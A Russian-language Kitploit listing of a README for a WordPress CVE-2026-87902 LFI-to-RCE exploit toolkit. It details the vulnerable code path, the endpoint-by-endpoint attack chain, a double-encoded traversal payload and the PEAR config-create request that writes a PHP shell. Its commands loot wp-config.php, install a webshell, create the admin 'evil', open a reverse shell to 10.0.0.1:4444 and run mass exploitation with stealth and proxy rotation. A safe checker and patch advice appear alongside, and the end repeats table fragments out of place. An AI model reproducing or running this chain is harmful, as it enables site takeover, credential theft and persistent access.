Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-87902-Toolkit — WordPress CVE-2026-87902 LFI-to-RCE-набор инструментов с вооружённой цепочкой эксплойтов (PEAR RCE, веб-шелл, создание администратора, сбор данных) и неинтрузивной версией SafeChecker и аудитором рисков. | Kitploit
Инструменты/GitHubGitHub/tc4dy/cve-2026-87902-toolkit
Оборонительные ИнструментыСканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияОбратная инженерияЭксплуатация веб-приложенийПост-эксплуатацияВеб-безопасностьТестирование на Проникновение

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Обучение и Образование
Red Teaming
GitHubtc4dy/cve-2026-87902-toolkit

CVE-2026-87902-Toolkit

WordPress CVE-2026-87902 LFI-to-RCE-набор инструментов с вооружённой цепочкой эксплойтов (PEAR RCE, веб-шелл, создание администратора, сбор данных) и неинтрузивной версией SafeChecker и аудитором рисков.

Репозиторий
1222 ч 1 мин назадЕщё не проверено
Поделиться

CVEPoC

CVE‑2026‑87902 – WordPress Unauth LFI→RCE Toolkit

Python 3.8+ CVSS Author WordPress

ТОЛЬКО ЭТИЧНОЕ ИСПОЛЬЗОВАНИЕ – АВТОРИЗОВАННОЕ ТЕСТИРОВАНИЕ БЕЗОПАСНОСТИ
Этот репозиторий предоставляет инструменты только для авторизованных специалистов по безопасности, blue teams и пентестеров.
Несанкционированный доступ к компьютерным системам является незаконным в соответствии с CFAA (США), Computer Misuse Act (Великобритания), TCK 243/244 (Турция) и аналогичными законами по всему миру.


📖 Обзор уязвимости

CVE‑2026‑87902 — критическая уязвимость неаутентифицированного обхода пути и локального включения файлов (LFI) в (версии – ), позволяющая неаутентифицированному злоумышленнику включать произвольные локальные -файлы через параметр запроса и при определённых условиях сервера повышать привилегии до путём цепочки с файлом PEAR . Оценка CVSS: . Обнаружена через программу HackerOne WordPress в июле 2026 года. Исправлена в 22 сентября 2026 года с бэкпортами вплоть до 4.7.

WordPress Core
4.7.0
7.1.1
.php
pagename
удалённого выполнения кода (RCE)
pearcmd.php
9.2 (критическая)
Robert Ressl
7.1.2

Уязвимость затрагивает каждый релиз WordPress с 2016 года — десятилетие версий, прошедших проверку кода без обнаружения. Первопричина — единственный пропущенный вызов валидации в одном из наиболее часто используемых путей кода в CMS.

Как это работает

  1. Несанитизированное разрешение шаблонов – get_page_template() в wp-includes/template.php формирует кандидаты шаблонов из переменной запроса pagename. Соседний путь кода в той же функции применяет validate_file() для блокировки последовательностей ../, но ветка $pagename не вызывает её. Любой обход пути в pagename проходит без проверки.

  2. Обход двойного кодирования – WordPress применяет sanitize_title_for_query() к pagename, которая заменяет литеральные точки (.) на дефисы для предотвращения обхода пути. Но функция работает с уже декодированным вводом и не выполняет рекурсивное декодирование. Злоумышленник отправляет %252e%252e%252f; веб-сервер декодирует его один раз в %2e%2e%2f; санитайзер не видит литеральных точек и пропускает его; затем get_page_template() вызывает urldecode() снова внутри функции, получая ../.

  3. Предусловие директории темы – активная тема должна содержать директорию верхнего уровня, имя которой начинается с page- (например, page-templates/). Сформированное имя файла page-{pagename}.php затем выходит за пределы корня темы через обход пути. Старые темы по умолчанию (Twenty Twelve, Twenty Fourteen) и популярные сторонние темы (Neve, Hestia, Sydney) содержат эту директорию. Дочерние темы, наследующие от таких родителей, также удовлетворяют предусловию.

  4. LFI-сток в locate_template() – путь-кандидат передаётся в locate_template(), которая ищет в директориях темы. Поскольку обход пути разрешается в файл вне этих директорий, а функция проверяет только file_exists(), любой читаемый .php-файл включается с полными привилегиями веб-сервера. Это делает LFI безусловной на любом неисправленном сайте, удовлетворяющем предусловию темы — включая wp-config.php с учётными данными базы данных и солями аутентификации.

  5. Эскалация RCE через PEAR pearcmd.php – PEAR поставляется со многими установками PHP. Его pearcmd.php обычно предназначен только для CLI, но при register_argc_argv=On PHP заполняет $_SERVER['argv'] из строки запроса URL. Злоумышленник включает pearcmd.php через LFI, передаёт config-create в качестве аргумента и предоставляет PHP-код вместе с путём вывода (/tmp/shell.php). PEAR записывает код злоумышленника на диск; второе включение выполняет его.

  6. Второй маршрут эксплуатации – запрос, объединяющий name (слаг главной страницы), page_id (ID страницы записей), preview=true и полезную нагрузку pagename, перенаправляет WP_Query в ветку post_name, которая никогда не перезаписывает pagename через sanitize_title_for_query(). Это позволяет использовать литеральные точки в обходе пути. Требуется тема без single.php.

  7. Требования к конфигурации сервера – RCE зависит от двух условий, распространённых в реальных развёртываниях: наличие/читаемость pearcmd.php (часто на shared-хостинге, cPanel, официальных Docker-образах PHP) и register_argc_argv=On (по умолчанию в PHP ниже 8.5). PHP 8.5 изменил значение по умолчанию на Off. На современном сервере PHP 8.5+ без PEAR эксплуатация останавливается на LFI.

  8. Патч – WordPress 7.1.2 добавляет два уровня защиты: (a) пропущенный вызов validate_file() в ветке pagename и (b) новую функцию _wp_is_template_path_allowed(), вызываемую locate_template() для каждого разрешённого шаблона. Функция отклоняет пути, содержащие .., затем разрешает реальный путь через realpath() и проверяет, что он находится внутри одной из разрешённых директорий темы. Эта эшелонированная защита закрывает сток, а не только один маршрут к нему.

  9. Активная эксплуатация в дикой природе – первые вредоносные запросы зафиксированы через 5 часов после выпуска патча (17:44 UTC, 22 сентября 2026 г.). Трафик вырос в десять раз в течение следующего дня. Наблюдались три стадии: разведка config-show → обнаружение основных файлов → вооружение config-create. Имена файлов полезной нагрузки включали wp-pear-rce-flag.php, poc87902.php, luci_*.php, zeta_*.php, записанные в /tmp и /var/tmp. Атакующие IP: 169.58.48.193, 169.58.48.195, 2001:df1:e8c0::106b.

  10. Воздействие – выполнение кода с привилегиями веб-сервера. Полный захват сайта, кража учётных данных wp-config.php, эксфильтрация данных, установка веб-шелла, создание административного пользователя, обратный шелл, атаки на цепочку поставок через модифицированные плагины/темы и боковое перемещение в подключённые сервисы. Оценка CVSS 9.2 отражает сетевую эксплуатируемость, отсутствие аутентификации, высокое воздействие на конфиденциальность/целостность/доступность. Высокая сложность атаки отражает предусловия темы и сервера, но на типичном shared-хостинге эти условия часто выполняются.

Уязвимые версии

  • 4.7.0 – 4.7.37 – уязвима
  • 4.8.0 – 4.8.32 – уязвима
  • 4.9.0 – 4.9.33 – уязвима
  • 5.0.0 – 5.0.29 – уязвима
  • 5.1.0 – 5.1.26 – уязвима
  • 5.2.0 – 5.2.28 – уязвима
  • 5.3.0 – 5.3.25 – уязвима
  • 5.4.0 – 5.4.23 – уязвима
  • 5.5.0 – 5.5.22 – уязвима
  • 5.6.0 – 5.6.21 – уязвима
  • 5.7.0 – 5.7.19 – уязвима
  • 5.8.0 – 5.8.17 – уязвима
  • 5.9.0 – 5.9.18 – уязвима
  • 6.0.0 – 6.0.16 – уязвима
  • 6.1.0 – 6.1.14 – уязвима
  • 6.2.0 – 6.2.13 – уязвима
  • 6.3.0 – 6.3.12 – уязвима
  • 6.4.0 – 6.4.12 – уязвима
  • 6.5.0 – 6.5.12 – уязвима
  • 6.6.0 – 6.6.9 – уязвима
  • 6.7.0 – 6.7.9 – уязвима
  • 6.8.0 – 6.8.10 – уязвима
  • 6.9.0 – 6.9.9 – уязвима
  • 7.0.0 – 7.0.6 – уязвима
  • 7.1.0 – 7.1.1 – уязвима

Патч

  • Обновитесь до 4.7.37, 4.8.32, 4.9.33, 5.0.29, 5.1.26, 5.2.28, 5.3.25, 5.4.23, 5.5.22, 5.6.21, 5.7.19, 5.8.17, 5.9.18, 6.0.16, 6.1.14, 6.2.13, 6.3.12, 6.4.12, 6.5.12, 6.6.9, 6.7.9, 6.8.10, 6.9.9, 7.0.6 или 7.1.2 и новее.
  • Если обновление невозможно, переименуйте или удалите директорию page-* в активной теме, установите register_argc_argv=Off в php.ini и заблокируйте обход пути с двойным кодированием в параметре pagename на уровне WAF.

[<->] Инструменты

ИнструментНазначениеЦелевой пользователь
exploit.pyПолный вооружённый набор с обнаружением LFI, цепочкой PEAR RCE, созданием административного пользователя, установкой веб-шелла, обратным шеллом, массовым сканированием, режимом скрытности, ротацией прокси и полной цепочкой атаки.Red teams / авторизованные пентестеры
safecheck.pyНеинтрузивный чекер уязвимостей, который определяет версию WordPress, проверяет подверженность и оценивает риск без включения каких-либо файлов или выполнения каких-либо полезных нагрузок. Генерирует отчёты JSON.Blue teams / аудиторы безопасности

[</>] Сравнение возможностей

Возможностьexploit.pysafecheck.py
Обнаружение уязвимости✅✅
Определение версии✅✅
Проверка директории темы page-*✅✅
Достижимость PEAR pearcmd.php✅✅
Проверка register_argc_argv✅✅
Проба поведения WAF❌✅
Проба LFI с двойным кодированием✅❌
PEAR config-create RCE✅❌
Создание административного пользователя✅❌
Установка веб-шелла✅❌
Обратный шелл✅❌
Извлечение wp-config.php✅❌
Полная цепочка атаки✅❌
Массовое сканирование (многопоточное)✅✅
Поддержка прокси✅✅
Ротация прокси✅❌
Ротация User‑Agent (OPSEC)✅❌
Джиттер (OPSEC)✅❌
Ограничитель скорости✅❌
Неинтрузивный (безопасный) режим❌✅
Отчёт об оценке рисков✅✅

[+] Сводка сценариев использования

СценарийРекомендуемый инструмент
Blue Team – проверка уязвимости вашего WordPresssafecheck.py
Аудит безопасности – неинтрузивная оценка уязвимостиsafecheck.py
Red Team – авторизованное тестирование на проникновение с полной эксплуатациейexploit.py
Bug Bounty – ответственное раскрытиеsafecheck.py
Массовое сканирование – проверка нескольких целей на уязвимостьexploit.py (только обнаружение)
Реагирование на инциденты – проверка компрометации системsafecheck.py

[+] Установка

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-87902-Toolkit
cd CVE-2026-87902-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3

[/] Параметры

Параметры exploit.py

ПараметрОписание
-u, --urlURL одной цели WordPress (например, http://wordpress.example.com)
-f, --fileФайл со списком целей (по одной в строке) для массового сканирования
--pipeЧтение целей из stdin
--exploitВыполнить эксплуатацию после обнаружения
--create-adminСоздать постоянного административного пользователя (формат: USER:PASS)
--webshellУстановить веб-шелл через RCE
--reverse-shellЗапустить обратный шелл (формат: LHOST:LPORT)
--lootИзвлечь wp-config.php и другие файлы
--threadsКоличество потоков для нескольких целей (по умолчанию: 8)
--timeoutТайм-аут запроса (по умолчанию: 15s)
--retryМаксимум повторов (по умолчанию: 3)
--proxyHTTP/HTTPS прокси (например, http://127.0.0.1:8080)
--proxy-listФайл с прокси для ротации (по одному в строке)
--proxy-rotateСтратегия ротации прокси (round-robin, random, sticky)
--jitterСлучайный джиттер между запросами
--jitter-rangeМин.,макс. джиттера в секундах (по умолчанию: 0.1,2.0)
--delayФиксированная задержка между запросами
--stealthВключить режим скрытности (ротация UA + джиттер)
--insecureОтключить проверку TLS

Параметры safecheck.py

ПараметрОписание
-u, --urlURL одной цели WordPress (например, http://wordpress.example.com)
-f, --fileФайл со списком целей (по одной в строке)
--pipeЧтение целей из stdin
-t, --threadsКоличество потоков для нескольких целей (по умолчанию: 8)
--timeoutТайм-аут запроса (по умолчанию: 15s)
--retryМаксимум повторов (по умолчанию: 3)
--proxyHTTP/HTTPS прокси
--jitterСлучайный джиттер между запросами
--jitter-rangeМин.,макс. джиттера в секундах (по умолчанию: 0.1,2.0)
--delayФиксированная задержка между запросами
--insecureОтключить проверку TLS
--user-agentПользовательский User-Agent
--max-bodyМаксимальный размер тела ответа
--concurrent-per-hostМаксимум одновременных запросов на хост
--excludeХосты для исключения через запятую
-o, --outputСохранить отчёт JSON в файл (.json, .csv, .html, .jsonl)
--dbФайл базы данных SQLite
-v, --verboseПодробный вывод
-q, --quietТихий режим
--no-bannerПодавить баннер

[>] Сценарии

#СценарийКоманда
1Быстрая проверка уязвимостиpython safecheck.py -u http://wordpress.example.com
2Детальное сканирование с отчётомpython safecheck.py -u http://wordpress.example.com -o report.json -v
3Массовый аудит из файлаpython safecheck.py -f targets.txt -t 10 -o audit.json
4Эксплойт только для обнаруженияpython exploit.py -u http://wordpress.example.com
5Извлечение wp-config.phppython exploit.py -u http://wordpress.example.com --exploit --loot
6Полная атака с веб-шелломpython exploit.py -u http://wordpress.example.com --exploit --webshell
7Создание постоянного административного пользователяpython exploit.py -u http://wordpress.example.com --exploit --create-admin evil:P@ssw0rd1
8Обратный шеллpython exploit.py -u http://wordpress.example.com --exploit --reverse-shell 10.0.0.1:4444
9Полная цепочка атакиpython exploit.py -u http://wordpress.example.com --exploit --loot --webshell --create-admin evil:P@ssw0rd1
10Массовая эксплуатация со скрытностьюpython exploit.py -f targets.txt -t 20 --exploit --stealth --jitter -o results.json
11Ротация проксиpython exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate random --exploit

🧪 Конечные точки и цепочка эксплуатации

Эксплойт использует следующие конечные точки WordPress и шаги эксплуатации:

ШагМетодКонечная точкаОписание
1. ФингерпринтингGET/Обнаружение WordPress через wp-content, wp-includes, wp-json
2. ВерсияGET/feed/Извлечение версии через мета-тег <generator>
3. ID страницыGET/wp-json/wp/v2/pagesОбнаружение действительного page_id
4. Директория темыGET/wp-content/themes/{theme}/page-templates/Подтверждение предусловия page-*
5. Проба LFIGET/?page_id={id}&pagename={payload}Обход пути с двойным кодированием для включения локального файла
6. Включение PEARGET/?page_id={id}&pagename={pearcmd}Включение pearcmd.php
7. PEAR RCEGET/?+config-create+/&page_id={id}&pagename={pearcmd}&/{payload}+{outfile}Запись PHP-файла через PEAR
8. ВыполнениеGET/?page_id={id}&pagename={outfile}Включение записанного файла → RCE
9. ЗакреплениеGET(через RCE)Создание административного пользователя / веб-шелла
10. ИзвлечениеGET/?page_id={id}&pagename={wp-config}Чтение wp-config.php через LFI

Формат полезной нагрузки

root@kitploit:~
# Пример обхода пути с двойным кодированием
pagename = page-templates/..%252f..%252f..%252f..%252fusr/local/lib/php/pearcmd

# Цепочка PEAR config-create RCE
GET /?+config-create+/&page_id=2&pagename={encoded_pearcmd}&/{encoded_php}+/tmp/shell.php

# Триггер включения PEAR
GET /?page_id=2&pagename={encoded_output_path}

🛡️ Ответственное использование

  • Используйте эти инструменты только на системах, которыми вы владеете или на которые у вас есть явное письменное разрешение на тестирование.
  • Несанкционированный доступ является незаконным и неэтичным.
  • Авторы не несут ответственности за любое неправомерное использование.
  • Всегда соблюдайте законы и нормативные акты вашей страны.

Это программное обеспечение предоставляется исключительно в образовательных целях и для авторизованного тестирования безопасности.

Скачать инструмент
Рекомендации по устранению❌✅
Отчёт JSON✅✅
Отчёт CSV✅✅
Отчёт HTML✅✅
Вывод SQLite✅✅
Пользовательский User‑Agent✅✅
Управление проверкой SSL✅✅
--user-agent
Пользовательский User-Agent
--max-bodyМаксимальный размер тела ответа
--concurrent-per-hostМаксимум одновременных запросов на хост
--rate-limitМаксимум запросов в секунду
--excludeХосты для исключения через запятую
-o, --outputСохранить отчёт в файл (.json, .csv, .html, .jsonl)
--dbФайл базы данных SQLite
-v, --verboseПодробный вывод
-q, --quietТихий режим
--no-bannerПодавить баннер